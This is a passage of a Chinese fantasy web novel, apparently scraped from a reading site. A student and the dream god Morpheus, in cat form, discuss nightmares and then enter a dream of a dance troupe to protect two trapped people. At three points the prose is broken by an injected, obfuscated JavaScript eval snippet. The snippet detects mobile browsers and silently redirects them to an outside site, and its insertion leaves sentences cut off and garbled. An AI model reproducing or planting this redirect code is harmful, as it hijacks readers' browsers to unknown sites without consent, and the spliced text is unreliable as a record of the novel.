“沉重,内容关于艺术和谜题,相对于其他梦境更有逻辑性,都是受本人特质影响。另外,你现在对梦境的抗性变强了,所以不容易被疯狂的部分污染。” “这个宿主是什么情况?”苏夜凛想着如果又是身边的人该怎么办。相比于学姐之前那个明显由恐惧和愧疚主导的梦,这个人的梦境有一种外表沉默严肃,内里已经疯得很严重的活人微死之感。 墨菲斯回应道:“好像是你们隔壁学校的人,不过宿主相关的信息我也只能远远看一眼,更多的不清楚。” 这里本来就是大学城,可以被划为邻校的有三四个。苏夜凛最熟悉的是理工大学,理工大和他们也偶有交流,虽然排名不及辉大,但也是个学风严谨著称的好学校了。 “你说还可能有人被卷进来,岂不是说我得带着两个人质?这还能战斗吗。” “没错,这也是麻烦的地方。”猫形态的墨菲斯没有表情,但是此刻他明显是一副沉思状。 “现在能做的事,第一,我也参与到你们之中,我们分别庇护他们; “第二,我要积蓄力量,把之前给你的道具强化一下。但是在梦里,宿主和外来者之间反作用力很强,所以我们强化自己的同时,梦魇也会变得更不好对付。考虑到现在的状况,也只能这么做。” “什么?你的意思是…”苏夜凛瞪大眼睛,她还是第一次听到墨菲斯明确表示要加入他们的战斗。之前他明明只是起辅助的作用。 说实话她还是很开心的,不用自己孤军奋战。墨菲斯不管力量再怎么被削弱,应该都是值得依靠的队友。这么说来,她还挺好奇这位梦神是怎么战斗的。 “是是是,就是你刚才听到的。”墨菲斯叹了口气,相比于苏夜凛的新奇和振奋,他可以说是相当低落了,“唉,也算是我自作自受吧,既然预测失误,也不能让这些普通人替我去送死。” 苏夜凛难得看到他这模样。在她印象中,墨菲斯虽然平时看起来随性,也不摆什么架子,但他内心仍然是个比较高傲的人,他现在说话的方式简直是自嘲和懊恼的结合。 “到底什么预测失误?你别又这样讲话不清不楚的。”苏夜凛从床上起身,双手环胸,“你的力量没恢复?还是说有什么事你没告诉我?要是有那么危险的话,我们也得商量对策呀。” 墨菲斯伸了个懒腰,蓝色的眼睛无言对着她。 “你有没有发现你的气势比以前变强了?不错啊我的眷属,这个是很好的成长路径。” 接下来他说的,却还是这种不痛不痒的俏皮话。 苏夜凛有点气不打一处来,不过晨起气血不足,她也不想发火,只是深吸一口气,笑眯眯地看着这只猫。 墨菲斯突然感到一阵没由来的危险气息,竖起了尾巴。 下一秒,长袖睡裙之下的手鬼影一般,伸到腋下,把黑猫一整条捞起来。 “!!”墨菲斯瞳孔放大,徒劳地在少女手里挣扎,好不滑稽。 “梦神大人,我恳请你好好说话吧。”少女把黑猫高高举起,面对金色的晨光,带着一丝倦气的眼睛眯了起来。“你的眷属我呢,不是什么聪明人。你要是那么爱玩文字游戏,我会用胶带把你四脚朝天地粘到墙上哦。” 虽然语气很温柔,但是说话的内容,以及那股微妙的煞气,都让墨菲斯感到有史以来难遇的危机! 其实苏夜凛没有真的在想什么吓人的事,贴到墙上这种“刑罚”也只是她以前看的搞笑P图而已。 “等一下,你等一下……”两只耳朵竖起,墨菲斯伸开爪子,强行保持冷静,不让自己失了优雅——虽然从用猫的样子出现那一刻起,已经没有太多身为神的威严了。“哪有这样对猫的!我又没说不告诉你,先放我下来……” 苏夜凛轻哼一声,把他放下。 这几天相处下来,发现在现实层面墨菲斯真的很弱,她也不怕得罪这个伟大神祇了。 “咳……总之就是我的力量回来了一些,但是敌人也比我想象的强大。”终于站稳的黑猫用爪子扒了扒耳朵,强行冷静下来。 “因为我太久没回梦世界了,这次对梦魇悄悄观测了一下,发现梦世界本身也受到了一定污染,而且比我想象中的严重。就像这次无辜被卷进来的两个人,正常情况下能造成这种影响力的梦魇每年也就出现一两个。总之,也牵扯到一些过去的恩怨,我就不详细说了。” === 过去的恩怨?苏夜凛虽然有点好奇,但是估计墨菲斯不愿长篇大论地讲故事,自己也听不明白。 不过这几天,她也和墨菲斯聊过一些零零碎碎的事情,得知了原本梦世界的一些运行规律,以及那个玄之又玄的神族战争搞得神界波诡云谲,留下了一堆烂摊子这事。 “但是,现在世界发展得很快啊,”苏夜凛听到神族战争相关的事情,不禁想象到诸神黄昏那一类世界终局的场面,“神族战争也没有让人类生活在水深火热之中吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076618|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“确实,我也觉得对人类来说,神族和信仰之类的早就是没用的玩意了。” “说的这么不屑,你不也是神族吗?”苏夜凛好奇地问。 “我?很不巧我对我的神族同胞没什么归属感,当然,我也不喜欢人类。”墨菲斯的评价不留情面, “从第二次工业革命开始,神族对于人类的技术上的发展就没有助力了,或者说,他们根本不愿意见到人类自己生产出来的科技时代。但是在维持稳定,也就是世界的秩序这方面,神族还有自己的使命,比如控制环境,大规模的灾难和动乱不要频发。” “所以,神根本不会帮助人类的生活过得更好,只是做自己的工作,让世界不要崩溃对吗?”苏夜凛沉思,她又问墨菲斯自己的事情:“那么你呢,你既然谁都不喜欢,为什么又执着于找回力量……也是出于维护秩序的使命感?” “嗯?这居然也需要解释吗?”虽然是在用猫形态对话,但她似乎看到了青年的蓝眼,那戏谑中带着些微傲慢的笑容:“因为梦世界是‘我的世界’啊,没道理把我的净土拱手让人。守护秩序和人类的美梦这些事,就算是附带的举手之劳吧。” 是啊,对谁都没兴趣,只是想回到梦世界这个不存在外人的、唯一的净土,这不奇怪吧?苏夜凛倒是能理解这种心情。 墨菲斯现在是被梦世界本身挡在外面,只能通过人类的梦境取侧面观察梦世界的情况。因为神族战争的余波未平,他现在存在微薄,也无法向其他神族求助。 “其他的神不知道你又复活了吗?”苏夜凛追问了这么一句。“你不是天天在人类世界晃悠吗,他们应该有所察觉才是。” “除了主神有这种观测能力之外,其他神不会知道。他们不知道才好,我那群同僚可没有一个善茬。” 这评价十分有人类的风采,估计是他从什么书刊杂志上看到的。 “我原本就和神界的链接很少,现在力量又薄弱,不用刻意隐藏,也很难被感知。”墨菲斯补充道。 这么听来,梦神是那种平日闲云野鹤,不用社交,随便上上班就可以的清闲岗位?甚至有自己的一个超大独立办公室。苏夜凛畅想着。 所以像现在这样,即便取回了一点力量,也发现情况比想象中复杂,自己这个梦之主还是回不去那个世界,叫他感觉焦躁。 等等,这么一想,感觉墨菲斯其实也挺惨的?力量所剩无几,失去了原本的权柄,被原本的家园梦世界拒收,物理强度很弱,在现实界漂泊还需要躲躲藏藏,搞不好碰到个大风雪都能把他弄个半死。 但是还是要在自己这个所谓的眷属前面装作很高大的样子,不然连人类都无法听进去他说的话,简直是落魄贵族再就业啊! 这一串脑补发散之后,苏夜凛脑中浮现一出心酸又有趣的图景,忍不住偷笑起来。 墨菲斯似乎看出来她在乐什么,圆圆的猫眼眯成D形。 “你倒是很乐在其中嘛,苏夜凛小姐,我记得你上次还觉得不需要我的帮助来着?” “没、没有,之前不相信你是我的问题呀梦之主大人!”苏夜凛憋笑,感觉自己此刻很开朗。 “很好很好,那么接下来我要去睡觉了,麻烦你一定要把门锁好啊~”说完,墨菲斯自顾自趴到墙角一隅,闭上了眼睛。 苏夜凛有点摸不着头脑,随后又想到他说自己要积蓄力量。 不过,梦神也要睡觉啊……说出来怎么感觉有点奇怪呢? 24. 舞无眠 05 趁着墨菲斯休息这会儿,苏夜凛出来打发时间。 她的小出租屋虽然陈旧,但是走出去一百米,就是热闹的商业街,人气十足。比起之前在学校宿舍里和舍友冷眼相对的日子,反而是这里不叫她感到寂寞。 穿过那些花花绿绿的小店招牌,她跑到了二楼,找了个奶茶店的外摆小桌坐下,秋风越发冰凉了,倒是让女孩的思维得到放松。 她闭上眼睛,脑中浮现出一些漂浮的画面和文字信息。 这是她拜托墨菲斯总结一些关于梦魇的特性。虽然也遇见过几次梦魇了,但她对于它们还没什么系统性的了解。 这次遇到的规则怪谈梦境给了她提示,虽然梦境这东西变数很大,但总不至于毫无规律可循。 她不断地从那些画面中提取要点—— 梦魇之间也有高低等级之分,随着现在墨菲斯恢复力量,他可以独自吸收掉一些还在胚胎状态的梦魇,不过会去寻找宿主的,都是已经相当高级的类型。 如果是以前,墨菲斯自己有一个水晶球一样的东西,还有自动追踪的使魔,处理掉那些威胁大的梦魇不是问题。 但如今,由于墨菲斯被“某种力量”干扰,只能徘徊在梦世界之外,所以现在的他无法主动去搜索那些高等级梦魇,只能靠苏夜凛这个共鸣者的特殊体质,以她为媒介去观察那些有梦魇蛰伏的梦境。 -- 梦魇彻底占领一个人的心智需要时间,宿主睡觉的时候自然就是最好的时机。至多通过七次的睡眠之后,梦魇就会完成其成长阶段,对宿主以及这个梦境波及到的其他人造成影响。 而实际上,大多数梦魇只需要“三幕戏”就会如同成虫一样,破卵而出,吸走它想要的东西,巨量的情绪,维持生命的活力,或者宿主的人格本身,并留下其他的副作用。 虽然墨菲斯可以短暂介入——他能让所有做梦的人暂时隔离掉梦魇的影响,但那也是次数有限的。 至于副作用具体是什么则无法确定。越是高级的梦魇,越容易造成不可挽回的打击。且这些负面影响,都是根据宿主自身的特质强相关的,所以其他人很难看出异常。 比如说,耿芷芯一直因为愧疚而痛苦,她心里一直存在着求死的悲观诉求。如果不处理掉她的梦魇,耿芷芯很可能真的会选择跳楼。在外人看来,不存在任何人的蓄意杀害诱导。 又比如说,一个心里常怀阴暗想法的人,他平时可能会通过看一些猎奇的新闻或视频来缓解压力,可能会虐待无力还手的小动物,但是这些他也只敢私下偷偷做,你如果让他杀人,他会因为胆小、怕遭到惩罚而退缩。 但如果这种人被梦魇盯上,他可能就会“释放天性”去做自己不敢实施的行为。 --- 所以,如果本来就存在着暴力、反社会倾向的人碰上梦魇会是什么情况,苏夜凛不敢想象。 何况,即便是那种现实生活中十全十美的好人,也会有着一些深藏的执念,在梦魇的催化下,他们也可能会做出伤害他人的事。 梦魇常以象征性形象出现,梦境的表征与现实逻辑相差甚远,但也并非总是如此,宿主个人的情况会强烈地影响 比如宿主是一个情绪敏感、天马行空的人,那他的梦可能是断裂无序的、不走寻常路的,这个时候就需要反应快一点,去实时化解掉梦魇丢出来的危机。 如果宿主是个内敛压抑,思维缜密的人,他的梦乍看还十分符合现实中的某些条条框框,但是冰面之下是暗礁,一不留神就是致命的攻击。苏夜凛这样的挑战者需要跟着他的思维,不然会被梦魇当做威胁针对。 但是不论对谁,在梦魇完成生长之前,将源头斩杀,就是最重要的任务,墨菲斯分给苏夜凛的力量,她编织出来的武器,都是为了这一点诞生的。 如果被梦魇打败,就算不死,也会承受与宿主相差无几的诅咒。只是梦神站在她这边,有较高的容错率。 回想过这些之后,她深吸了一口气。少女想到,没过多久,她在睡下的时候又要去面对新的梦魇,有一种临危受命的紧张感,却并没感到特别大的情绪波动,甚至比起害怕更多的是好奇。 她并没有真正习惯现在这样的生活节奏,但是对于收割梦魇的共鸣者身份,她已经不知不觉认可了,甚至对自己的实力有几分自信。 虽然不知道命运和她开哪门子玩笑,但是从最初被梦魇缠上、差点成为下个受害者。到现在,能主动面对那些令人闻风丧胆的怪物,她觉得自己没什么变化,但是萦绕自己的恐惧已经淡去不少。 至少,知道了自己在某方面很有天分,她拥有与梦魇这种诡异存在战斗的力量,还能因此去改变某些人的命运,甚至挽救一些事情,她变得不再抗拒和回避。 此时,手机发出叮叮的提示音,连着几条信息发来。她看着发信人,眼前一亮。 [凛凛,最近怎么样?] [爸爸这边刚刚结束一个项目,有几天空闲时间,去看看你。] [清明的时候,你一个人去看妈妈,爸爸没有空一起,很遗憾。这次,我们刚好一起去和她说说话。] [如果钱不够,一定要给爸爸说,不要碰贷款和来路不明的打工,爸爸最近看了很多新闻,你们年轻女孩子太容易被坏人盯上,平时要多和室友结伴而行!] 苏夜凛很快地在手机上敲下一串字,不过随后又迟疑了,没有点发送。 爸爸还不知道她在外租房的事情。不如说,他非常迫切地希望女儿能融入大学的集体,即便不求成绩拔尖,也要做一个广结人缘的人,这才是他认为的上大学的意义。 虽然他是一个随和的父亲,但是在很多事情上也相当固执和古板。如何能让他接受女儿上了大学之后,没有变得更积极入世,反而和室友闹僵了,越发孤僻到骨子里……他一定会很失望吧? 每次,在妈妈忌日之时,他们会一起去买花,在她的遗像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105170|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前絮絮叨叨很多话。 虽然爸爸笑呵呵的,但她无法忘记小时候,在半夜窥见了独自站在阳台的那个寂寥背影。她不敢再让亲近的人失望了。 她又编辑了几下自己的信息,点击了发送。 “苏夜凛?” 几乎是同时,听到了陌生的女声在呼唤自己。 是剧社的女生,苏夜凛知道名字,但确实没说过几次话。对方看她的眼神是几分惊讶,又夹带了关心,她旁边还站着另一个女孩,是苏夜凛不认识的人,估计是一起出来吃饭的朋友。 “天呐!你昨天没事吧?你像失了魂一样突然从演播厅走了,谁叫也不回头,我们都吓坏了!” “啊?是,是吗……”面对突然的寒暄,苏夜凛猝不及防,平日做鸵鸟的本能又涌上来了,她稍微低下头: “我就是,嗯,那个时候收到家里的消息,有点担心,就想往回跑,但是最后发现虚惊一场……对不起小南,让你们费心了!” 说到最后,她算是整理好了状态,向对方露出明亮的笑容。 “唉,你没事就好!”大概小南也是个比较自来熟的类型,和同伴耳语几句之后,同伴先一步离开,她就直接坐在了苏夜凛对面, “我们就是担心你是不是突然遇到了啥变故。哦对,你别忘了和学长学姐说一声,把志愿者积分消了!虽然我估计他们已经帮你记录了” 苏夜凛一边嗯嗯嗯一边点头,心里忍不住想,剧社里热心肠的同学真不少,但是之前她可能太迟钝了,倒是并没有太感受到。 “哎呀,不过你还算好了,那个男生才是把我们吓死。”小南回忆起当时的场景,一副不可置信的样子,“他就突然倒在剧社的椅子上了!整个人突然昏过去,就,我前面还看到你俩在聊天来着?突然就都变成这样,大家真的蛮担心的!” “什么?”这个是她完全不知道的信息了,苏夜凛睁大眼睛:“那个男生……是说那个学生会的,等林学长一起走的男生吗?” “是啊!咦,你们不是熟人吗?”小南质疑了一秒,又迅速继续自己的话题:“总之,最后林学长和其他几个同学架着他去了校医院,应该是没什么大碍,但是真的好奇怪啊!林学长也说他平时很健康一个男生,怎么会突然晕过去呢!” 苏夜凛皱眉,她知道自己的“异常情况”是怎么样——在被拖入梦境的瞬间,触发了墨菲斯给的手环上的“保险机制”,身体保持着最低限度的意识,回到自己的家里。这是为了避免共鸣者进入梦境后,□□还在外界受到干扰或者别的危险。 但是付明笙这个局外人,同样在这个时候被扯进了梦中,这是她之前没有仔细想过的问题。难怪梦境和现实“接汇”的部分是他们俩谈话的场景。 这是她之前没有料想过的,也是最直观的梦魇影响现实的场景。苏夜凛不免有些头痛。 她匆匆结束了和小南的对话,买了点面包充当晚饭,准备快速跑回去。 25. 舞无眠 05 == 拎着一袋面包快步回家之后,墨菲斯已经不见踪影。 苏夜凛心里有些不好的预感,但也说不上来是什么。她拿出自己记录杂事的笔记本,往上面零碎松散地写下目前已知的信息。 她不禁思考着自己“共鸣者”身份的意义。如果说自己的体质特殊,才容易被卷入梦魇的幻境中,那其他人也有可能具备这种特殊的体质。 有没有可能,付明笙以及另一名“人质”是和她一样的存在呢?如果这样的话,去联合更多人的力量,也更容易达成目标。 不过,对方会不会愿意帮忙也是不确定的。这对于很多人来说只不过是一份额外的任务,除了使命感强烈的好事之徒,也少有人会主动接受吧。 想到这里,苏夜凛哑然失笑,原本对墨菲斯充满怀疑的自己,现在却对消灭梦魇一事格外上心。 虽然之前很大一部分原因,是出于墨菲斯说她不去战斗就会死,她不敢试探这句话的真假;但是窥探耿芷芯的梦境给了她额外的成就感,也是很重要的一环。而她无法要求别人也体会到这种成就感。 “墨菲斯?”想到其他被卷入梦境的人,苏夜凛对着空气试探性地出声。 “——怎么了,我刚醒呢。”没过一会,黑猫的尾巴从虚空中浮现出来,没精打采地朝她晃了晃尾巴。 “我是想问问,和我们一起进入梦境的那两个人。”苏夜凛开门见山。“我听说那个男同学昨天直接在教室晕倒了,他们不是被意外卷入的吗,在现实中也会受到这么大的影响?” “担心这个啊,”黑猫打了个哈欠,心不在焉地回复道: “你们几乎是同时被拉入领域,发生的时间跟宿主入梦的时间基本同步。不过没有必要太过担心他们的安危,虽然会出现突然晕倒的情况,但入梦本身不会影响身体健康,让反噬的梦魇波及到才会。所以在梦里保护好他们足矣。” “那么,我们这次能早一点进入梦境吗?” 黑猫转了转眼珠,语气不置可否:“可以,但是应该没有太大意义,反正你们进入梦魇领域的时间,是和宿主做梦的时间同时进行的。” 苏夜凛眼神坚定:“但我们应该可以事先做点准备工作吧?早点入梦,我也更方便调整状态。” 墨菲斯也没有否认她的猜想,圆圆的猫眼饶有兴致地盯过来。 “你这么有活力的吗?相比上次,行动力简直不是一个人。” “怎么了,你有什么不满啊。”很明显,说这话的时候,苏夜凛内心才更加不满:“之前说我消极被动,对别人唯唯诺诺什么的,认真干活了您老人家又不高兴?” “怎么可能呢,我当然乐意见得。” 墨菲斯换了个姿势,该说猫果然是液体吗?全黑的猫咪变成长长一条趴在桌角的样子,看起来就像梦里会有的诡异生物。 “——我只是想说,热心是好事,但也不要太被一时上涌的责任感冲昏头脑了。” 这句话是认真的。 苏夜凛心里一沉。她不知道自己在介怀什么,可能是对于墨菲斯看穿了自己心理变化的真正原因一点,她感到无所适从。 毕竟人是需要靠着伪装活下去的生物,怎么能接受自己深层的想法被轻易揭露呢? “哦,还是说你其实是想救那个男孩所以这么干劲满满?”似乎是看空气有点沉重,墨菲斯突然又立正起身,换了一个方向问她。 “呃……”苏夜凛能听出他隐藏的揶揄之意,可惜对于这个猜想,她只有纯粹的无语。“那倒不至于,我对他没什么特殊的感情,比起说想救他……” “比起喜欢他、想帮他,不如说,你其实很讨厌他对吧?甚至于有一瞬间觉得,如果是这个人,那干脆别救他了,对吧?”墨菲斯歪着脑袋,怎么看他都是一股挖坑成功的幸灾乐祸。 “……”苏夜凛一时找不出应对的话语。 “不如我们这次就别管他了,让他自生自灭吧。或者,对了,借梦魇的手直接把他杀了如何?我是不知道他和你有什么过往啦,不过能让你这种温和纯良的人记恨,恐怕也不是什么好人就对了,没了就没了吧。” 墨菲斯的言语幽冷,带着几分玩笑的轻佻,正如他们最初见面的那个夜晚一样陌生。 “……不要随便说这种话。”苏夜凛垂下眼帘,语气却并不和缓。不知怎的,她就是无法接受轻易地将杀人一事说出口,即便知道墨菲斯是所谓的高位存在,多半是视人命如蝼蚁,但她并不认可这种价值观。 “我是不怎么喜欢他,但他也不值得去特意针对。”在墨菲斯的洞察之下,苏夜凛觉得说出口的理由都变得蹩脚,“在看到他之前,我都忘了这个人的存在了,没必要。” 不过这些话并非自欺欺人,她对付明笙虽没留下什么好印象,但如今也单纯秉着强者守卫弱者的心态,愿意救他一命。总之除了轻微的厌烦之外,对他没什么想法。 相比之下,苏夜凛更担心另一个人质的情况——至今他们和另一个被卷入梦境的对象还未接触,如果他精神力低下,已经被梦魇侵蚀就很糟糕了。 “哦是吗,真可惜,如果你真的想杀了他,我就能借此机会和你做交易,让你把灵魂卖给我了。” 听完苏夜凛的态度,墨菲斯说了很夸张的话,还一个劲唉声叹气,虽然有装模作样的成分,苏夜凛忍不住白他一眼。 “你还是神明吗,这好像是恶魔才会有的设定吧?” === 他们确实选择了早点入梦。 再次睁眼的时候,苏夜凛被眼前的景象所震惊。 她身处一片星空之中,更确切地说,是一片倒影着繁星的无边湖水。 她看了一眼自己周围,现在自己躺在一张相当梦幻的床上——用梦幻形容丝毫不为过,鹅黄色的柔软床垫上摆着抱枕和玩偶,轻纱的床帐拉开一半,挽在床角,最上面还可以看见星星和月亮形状的灯温柔闪烁。 虽然地面看上去是水,触碰之下也有波纹,却没有明显的浸湿感,更像是冰凉的镜面。这个地方实在是名副其实的梦境摇篮了。 “好美……”苏夜凛忍不住朝着遥远的星空感叹着。 “我刚刚搭建好的,作为回复精神的地方,还算不错吧。” “没想到梦神大人你……还挺少女心啊?”苏夜凛忍不住绽开了笑容,盯着黑猫的耳朵。 “定义一下什么是少女心。”墨菲斯对她的调侃没什么反应,只是百无聊赖地在床上伸爪子,“不过也可以说是情理之中吧。这是用你的梦为基盘来制作的。” “我的梦?”苏夜凛惊讶地抬眼,停下了抚摸毛绒玩偶的手。 也是,墨菲斯虽然无法自由观察和追踪他人的梦境,但是拆分过他力量的苏夜凛不同,会产生一种共联的效果,他能做到这种事也不奇怪。 “干嘛那副表情,你难不成担心我会用你的梦做什么坏事?”见苏夜凛不语,墨菲斯不满地盯着她。 “啊?没有没有,只是,我好像不太记得自己做过这样的梦啊……”苏夜凛愣神,她现在十分放松,只是单纯欣赏着这片水天相接的月夜。 “人一生做过的梦,能记住的才是少数吧。我也是截取一个能量合适的场景作为基盘罢了,以后你就当做这个是我们的……基地?或者说‘工作室’?对,好像是这么讲的,我还在开发各种用途呢。” 说到这里,黑猫的身影突然跃到空中,轻巧地一闪,黑发的青年再次出现在她的面前。 他很快走到了距离床几步之遥的另一处,正如他所说,那里是一个工作台,巨大的桌面上,凭证放着各式工具,镜子、测量仪、扳手,甚至连科研用的显微镜都有,也不知道是不是真的能用。 “比如,这个工作台,我做成了人类也能快速理解的模式,”他介绍着,看来对这片空间的建设真的花了不少心血。“比如,如果觉得每次都编织一种武器很麻烦,可以用把能量存储进特定介质的方式,保持稳定性,能省很多事。不过嘛,这个也看个人天赋,你要是用不来也不必勉强。 “这个是校准钟表,梦境里的时间流速速率是不稳定的,和现实有很大差别,体感完全分辨不出来,所以要靠这个来核对。 “这个是梦境能量转换器,是我刚刚做好的,”他展示出来的东西,在苏夜凛看来就是老式罗盘一样的工具,样式称得上精美,看不出用途,“不过现在你应该还用不太到这个,之后再说……” 苏夜凛莫名觉得,墨菲斯在介绍这些东西的时候和往常不一样,虽然神态语气没有太大变化,却透露着一种发自内心的高兴,像是无忧无虑打开了话匣子。 她连连点头,刚想评论对方点什么,却在张嘴的瞬间蓦然感到一阵悚然,仿佛颜色凝滞,空气被冻结。 墨菲斯也眼神一凛,严肃地看向天外的某处,那是即将破茧的梦魇的召唤。 === 这次睁眼,苏夜凛感到奇怪。因为所见的场景和之前的梦境不一样。 上次梦里,看见的舞台和观众席,整体是面积宽阔、色调沉重的。气氛沉闷,加上有规则的限制,让人不敢轻举妄动。 但是这里,她身处的地方则完全不同。不大的空间内,打着非常明亮的白灯,浅色的地板,一面墙完全是镜子,让这个房间看起来比它的实际面积开阔许多。 镜子前面有几列扶手,中间是完全空出来的,只在靠墙和角落的地方设置了桌椅。苏夜凛疑惑了几秒,随后恍然大悟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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面对他的一连串问题,苏夜凛也只有苦笑,找个由头敷衍过去:“我也不太明白,但是我们现在最好是要谨慎一点,不然也会像上次在剧场一样,有可怕的事情。” “嗯,你说的也有道理——不过这俩人又是谁啊?”付明笙满脸狐疑地将目光在剩下两人之间扫来扫去,对着墨菲斯的脸,突然想起了什么:“哦,你!你好像是上一次我也见过的那个……你和苏夜凛认识?” “几位来访有何贵干呢?”看到客人们并没有回答自己的问题,穿着白色长裙的女子没有管他们的对话氛围,生硬地再问了一遍。 “我、我们?呃,就是来观光的吧……我们还不太清楚这是什么地方呢。”付明笙艰难地回答着这个女人,觉得她有哪里说不上来的奇怪。 “如果出于观光拜访的理由,恕后台有规定,访客不能久留,”女人垂下眼帘,表示歉意,她的动作太过无机质,简直像游戏NPC一样,令人有点心生冷意。“我会将各位带出这里,去往……外面的世界。” 她的语气还是那么淡如水,但是却加重了“外面的世界”几个字的读音。这让苏夜凛心底有不祥的预感奔涌而过,一阵寒噤。 “哦哦,那挺好的,麻烦你带我们出这个鬼地……”付明笙则是丝毫没有眼力见,他还沉浸在觉得这个地方很莫名其妙,只想回家的环节,丝毫察觉不到潜在的危险。 “不只是拜访,我们还有别的事要做。”墨菲斯走上前来,打断了付明笙的话头。“这位小姐,请问怎么称呼您呢?” “——舞团的原则是,在成为主演之前,我们是没有自我的,因此也不能自报姓名。”她深深鞠了一躬,略显遗憾地继续说:“如果各位有必要与我交流,请知悉我的艺名:水月。” 看她如此谨慎,几乎机械的态度,苏夜凛反而在心里默默确定了她的身份——她可能就是正在被规则束缚,另一个卷入梦境中的“人质。” “水月小姐,谢谢你接待。”苏夜凛带上笑容,瞟了一眼四周,随即亲昵地走到她身边:“不瞒您说,我们其实……是来应聘的。” “啊??你们在说啥……” 余光都能看到,付明笙整个人目瞪口呆,他几乎要抓住每一个人细问怎么回事,但不管苏夜凛还是墨菲斯都没有理会他,只是站在那里,和女子沉静地交流。 “应聘吗……我们舞团可是出了名的严格,各位真的要想好再作出决定。”她对这个问题倒是有所触动,微微皱眉。 “我知道,但是正因为严格,才适合真正有舞台梦想的人进行锻炼啊!相信您也是如此吧?”说到这里,苏夜凛靠近了一步,用极轻的声音对她说:“……警官。” 此时,苏夜凛终于捕捉到了她的波动——警官两个字一出,女子的瞳孔倏然紧缩。 26. 舞无眠 07 女警的眼神让苏夜凛确信了自己做的没错,也叫她再次想起她们初遇的场景。 那时,邻居因为梦魇被击溃而死亡,不明状况的苏夜凛站在走廊,穿着制服的冷淡女性看向她。 “你是住在隔壁的学生是吗?我们是来调查现场的,正好,我们也希望从你这里了解一些信息。 “简单来说,你隔壁这位男性……你平时有觉得他哪里反常吗?他很可能……有犯罪前科。 而女警面对她,也很快镇定了下来,轻声回应道: “我想起来了,你是辉云大学的学生,那个住在莲心小院的?” “是的,所以您……”苏夜凛也十分惊喜,她和付明笙在这个梦境里,看起来理智方面都没什么问题,这样就方便很多。 “不,我们不要讨论太多现实的事情。现在我是预备演员水月,而你们是访客,没有别的身份。” “水月”摇了摇头,苏夜凛本来想顺便连她真实的名字也问问,可惜对方并没有闲聊的意思,反而是比苏夜凛还要多几分的谨慎。 苏夜凛还想说点什么,水月直接往后退了一步,随后低头恭顺地恢复到之前那种机械的模样。 “各位的心意令人感动,我会向我们的团长、也是剧场的管理者引荐。”她的目光若有若无地瞟了一眼门口:“稍等一下,他很快就会回来了。” == 现在的情况是,他们在剧场的后台,这个像练舞室一样的房间就是舞团的基地,水月正领他们推开一侧不起眼的小门,在一张狭小的圆桌旁坐下。 苏夜凛提出了应聘舞团的演员,不过水月说他们只是“预备演员”,估计也就是像《生命之舞》中侍女们那样的小角色。 也不是突如其来想到这一出,而是她刚才看见了角落露出来的一张海报,上面写着招聘广告。 如果不想个办法留下来,就会去到外面的世界。虽然不清楚水月说的外面的世界是什么,但是直觉告诉苏夜凛那个不会比待在剧场里更好对付,她和墨菲斯还好说,两个“人质”是不好冒这个险。 而且在确定水月也是队友的情况下,自然是要尽量保证共同行动。 “这里真的是剧场后台?感觉好破啊,跟演出的舞台完全不是一回事。”似乎是因为身边围着几个言行正常的伙伴,也没有上次一样奇怪的音乐和戏剧,付明笙明显毫无危机感,散漫地靠在椅子上。 不过也不怪他,刚才练舞室中巨大的镜子、明亮的灯光算是叫人安心,但是墙面和地板也明显有老化的痕迹,堆着杂物的角落加重了这种印象。 而他们现在所在的是休息室,也就是练舞室后面的小房间,则是可以用颓败简陋来形容。 除了他们面前这张圆桌,剩下的家具只有几张拼在一起的薄床,一个颇有年头的大衣柜,昏暗的白炽灯下能看到灰尘漂浮。 与此同时,水月拿着托盘慢慢地走过来,将已经有细微裂纹的瓷茶杯放在每个人面前。 “哦,说起来,兄弟你还没回答我呢。”似乎想到什么,付明笙又来了精神,看着坐在自己对面的墨菲斯:“就,我叫付明笙,和苏夜凛很早就认识了,你和她也是熟人?” “我?我是莫菲。”墨菲斯抬眼,面色不改地说了一个和他的称呼很近似的假名。他稍微观察了一下面前的男生,眼中毫无波澜,“抱歉,我们也认识很久了,没听说过你,可能她觉得不是很有必要说吧。” “哈?你什么意思……” “不过,我感觉现在也不是谈这个的时候。”墨菲斯很快地掐断了这个话题,语气也变得严肃正经,“我们还是应该谨慎一点,多留意周围,你觉得呢?” 付明笙一时哽咽,没再说什么。 苏夜凛没管两个男生的微妙气氛,静静地拿起水月递给他们的茶,深色的液体表面倒映少女的眼睛。 虽然水月看起来神智正常,但这种来路不明的东西她还是不敢喝的。凑近闻了闻,还有一股虽然淡但是不肯散去的怪味,让她不禁皱眉。 “唉,我还是不明白我们怎么就莫名其妙来这种地方了,上次和苏夜凛看的那个恶心戏剧也是,这次不会又要来一出吧?为什么是咱们几个来到什么规则怪谈世界啊,你们就不奇怪吗?” 